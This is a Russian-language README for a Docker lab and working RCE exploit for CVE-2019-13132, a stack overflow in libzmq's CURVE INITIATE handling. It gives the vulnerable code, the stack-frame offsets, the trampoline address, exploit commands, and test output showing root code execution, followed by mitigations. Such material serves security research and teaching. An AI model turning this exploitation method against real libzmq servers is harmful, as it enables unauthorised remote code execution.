
CVE-2019-13132 — переполнение стека CURVE INITIATE в libzmq → RCE. Рабочий эксплойт + лаборатория Docker.
Полноценный рабочий эксплойт RCE + воспроизводимая лаборатория для CVE-2019-13132, переполнения стекового буфера в обработчике подтверждения CURVE INITIATE в libzmq. Злоумышленник, знающий долгосрочный открытый ключ сервера (публичный параметр по дизайну), может переполнить стековый буфер фиксированного размера в process_initiate(), перезаписать сохранённый обратный адрес и перенаправить выполнение на произвольный код.
Автор: Nicolas Krassas (@dinosn).
В этот набор входит намеренно уязвимая libzmq 4.3.0 с отключёнными средствами защиты. Не выставляйте порт 5556 за пределы лаборатории. Ошибка исправлена в libzmq 4.3.2.
docker build --platform linux/amd64 -t cve-2019-13132-lab .
docker run --rm -it --platform linux/amd64 --privileged \
-p 5556:5556 cve-2019-13132-lab
# inside the container (calibration runs automatically):
/opt/zmq-curve-rce/exploit.py
cat /tmp/pwned-13132
Автоматизированный дымовой тест (запускает эксплойт + проверяет файл подтверждения):
docker exec <container> /opt/zmq-curve-rce/run_lab_test.sh
.
├── README.md # this file
├── Dockerfile # one-command containerised lab
├── server-curve.c # CURVE REP listener — the vulnerable target
├── exploit.py # full exploit (HELLO → WELCOME → oversized INITIATE)
├── compute_offsets.py # build-time offset extraction → build_offsets.json
├── calibrate.sh # runtime calibration → profile.json
├── start_server.sh # start/restart the target
├── run_lab_test.sh # automated end-to-end smoke test
└── entrypoint.sh # Docker entrypoint (ASLR off + server + calibrate)
src/curve_server.cpp:284-336 (libzmq 4.3.0):
if (size < 257) { // only a MINIMUM check; no upper bound
errno = EPROTO; return -1;
}
const size_t clen = (size - 113) + crypto_box_BOXZEROBYTES;
uint8_t initiate_box[crypto_box_BOXZEROBYTES + 144 + 256]; // 416 bytes fixed
memcpy (initiate_box + crypto_box_BOXZEROBYTES, // dest: stack buf + 16
initiate + 113, // src: attacker data
clen - crypto_box_BOXZEROBYTES); // len: size - 113
initiate_box — это 416-байтовый буфер, выделенный в стеке. memcpy записывает size - 113 байт в 400-байтовую область полезной нагрузки (смещение 16..415). Любой INITIATE с size > 513 переполняет буфер, затрагивая сохранённые регистры вызываемых функций и обратный адрес.
Проверка cookie происходит до переполнения, поэтому INITIATE должен содержать настоящий cookie — но cookie получается из предыдущего сообщения WELCOME с использованием только долгосрочного открытого ключа сервера.
Протокол CURVE устроен так, что клиенты уже имеют долгосрочный открытый ключ сервера (он находится в URI подключения или конфигурации). Эксплойт:
memcpy.Нет учётных данных на уровне приложения. Нет обхода аутентификации ZAP. Переполнение происходит во время обмена ключами CURVE, до того, как приложение увидит пира.
process_initiate() stack frame (compiled with -O0 -fno-stack-protector):
prologue: push r15; push r14; push r13; push r12; push rbp; push rbx
sub $0x628, %rsp
RSP + 0x490 ← memcpy destination (initiate_box + 16)
RSP + 0x628 ← saved rbx
RSP + 0x630 ← saved rbp
RSP + 0x638 ← saved r12
RSP + 0x640 ← saved r13
RSP + 0x648 ← saved r14
RSP + 0x650 ← saved r15
RSP + 0x658 ← RETURN ADDRESS offset = 0x658 - 0x490 = 456 bytes
Эксплойт отправляет 464 байта полезной нагрузки: 456 байт заполнителя (0x41) для достижения обратного адреса, затем 8 байт, содержащих адрес lab_trampoline().
После переполнения crypto_box_open() терпит неудачу (переполненные данные — мусорный шифротекст). Путь ошибки записывает сбой, устанавливает errno и возвращает -1 — но путь ошибки обращается только к областям стека ниже региона переполнения (RSP+0xe0, RSP+0xf0, RSP+0x280), поэтому он выполняется чисто с повреждённым стеком.
Эпилог функции (add $0x628,%rsp; pop rbx-r15; ret) извлекает повреждённые сохранённые регистры (теперь 0x4141414141414141), а затем ret загружает наш адрес трамплина.
lab_trampoline() использует сырые системные вызовы (без libc, без fork()) для записи файла подтверждения:
void lab_trampoline(void) {
int fd = syscall(SYS_open, "/tmp/pwned-13132", O_WRONLY|O_CREAT|O_TRUNC, 0644);
syscall(SYS_write, fd, banner, ...);
// reads /proc/self/status (shows uid, pid, capabilities)
// reads /etc/hostname
syscall(SYS_exit_group, 0);
}
Используются сырые системные вызовы вместо system() / fork(), потому что process_initiate() выполняется в I/O потоке libzmq — вызов fork() из неглавного потока в многопоточном процессе вызывает взаимоблокировку на обработчиках блокировок pthread_atfork в glibc.
Долгосрочный открытый ключ сервера является публичным параметром в протоколе CurveZMQ — клиенты должны иметь его для подключения. Обычно он распространяется в конфигурационных файлах, URI или механизмах обнаружения. Эксплойт не требует секретных материалов.
Эксплойту нужно два значения:
| поле | значение | источник |
|---|---|---|
trampoline_addr | 0x401206 | nm server-curve (не-PIE бинарный файл, фиксированный адрес) |
offset_to_ret | 456 | дизассемблирование process_initiate (0x658 - 0x490) |
Оба значения жёстко закодированы в exploit.py как встроенные значения по умолчанию для сборки Docker-лаборатории (Debian 12, gcc 12, libzmq 4.3.0). Калибровка не требуется — просто запустите эксплойт:
python3 exploit.py # uses built-in defaults
python3 exploit.py 127.0.0.1 5556 --profile profile.json # explicit profile file
python3 exploit.py --trampoline 0x401206 --offset 456 # manual override
Приоритет разрешения: флаги --trampoline/--offset → файл --profile → /opt/zmq-curve-rce/profile.json → встроенные значения по умолчанию.
У ZMTP нет API для интроспекции. Приветствие раскрывает только версию протокола (3.x) и механизм (CURVE) — ничего о сборке libzmq, компиляторе или структуре бинарного файла. Нет идентификатора сборки, доступного во время выполнения, который позволил бы автоматически выбирать смещения для неизвестных целей.
Скрипты calibrate.sh / compute_offsets.py предоставлены для пересборок на разных дистрибутивах или версиях gcc, где адрес трамплина может измениться. Внутри Docker-лаборатории они запускаются автоматически, но не нужны.
$ /opt/zmq-curve-rce/run_lab_test.sh
=== CVE-2019-13132 lab test ===
[*] target: 127.0.0.1:5556
[*] trampoline @ 0x0000000000401206
[*] offset to ret: 456 bytes
[+] connected
[+] HELLO/WELCOME complete (S'=00b19cb8217ac149...)
[+] sent INITIATE (577 bytes, overflow = 464)
[+] waiting for process_initiate() → ret → trampoline → system()
[*] done — check /tmp/pwned-13132 on target
--- proof file contents ---
CVE-2019-13132: RCE achieved via CURVE INITIATE stack overflow
Name: server-curve
...
Uid: 0 0 0 0
...
hostname: caa76cbbc4a4
--- end ---
[PASS] RCE confirmed — /tmp/pwned-13132 created by the libzmq server process.
[PASS] CVE-2019-13132 lab — RCE chain verified end-to-end.
| Защита | Эффект |
|---|---|
| Обновление до libzmq >= 4.3.2 | Исправлено. Добавлена проверка верхней границы размера INITIATE перед memcpy. |
Канарейки стека (-fstack-protector) | Обнаруживает переполнение до возврата функции. Канарейка находится между локальными переменными и сохранёнными регистрами; переполнение повреждает её, вызывая __stack_chk_fail. |
| ASLR | Рандомизирует адреса общих библиотек и стека. Трамплин находится в не-PIE бинарном файле (фиксированный адрес), но рабочий сервер был бы PIE, что требует утечки информации. |
| PIE | Рандомизирует адрес загрузки бинарного файла сервера. Адрес трамплина больше не будет предсказуем без утечки. |
| NX | Здесь не актуально — инжект шелл-кода не производится; эксплойт вызывает существующий код. |
| ZAP / аутентификация на уровне приложения | Не помогает — переполнение происходит во время обмена ключами CURVE, до консультации с ZAP. |
docker rm -f <container>
# or inside the container:
pkill -9 -x server-curve
rm -f /tmp/pwned-13132
sysctl -w kernel.randomize_va_space=2 # restore ASLR
Nicolas Krassas — @dinosn
MIT. Исходный код намеренно уязвимой libzmq 4.3.0 загружается во время сборки из вышестоящего репозитория с лицензией LGPLv3 с исключениями / MPLv2.
Только для оборонительных исследований безопасности, образования и авторизованного тестирования безопасности. Не развёртывайте прилагаемую уязвимую сборку за пределами изолированной лабораторной среды.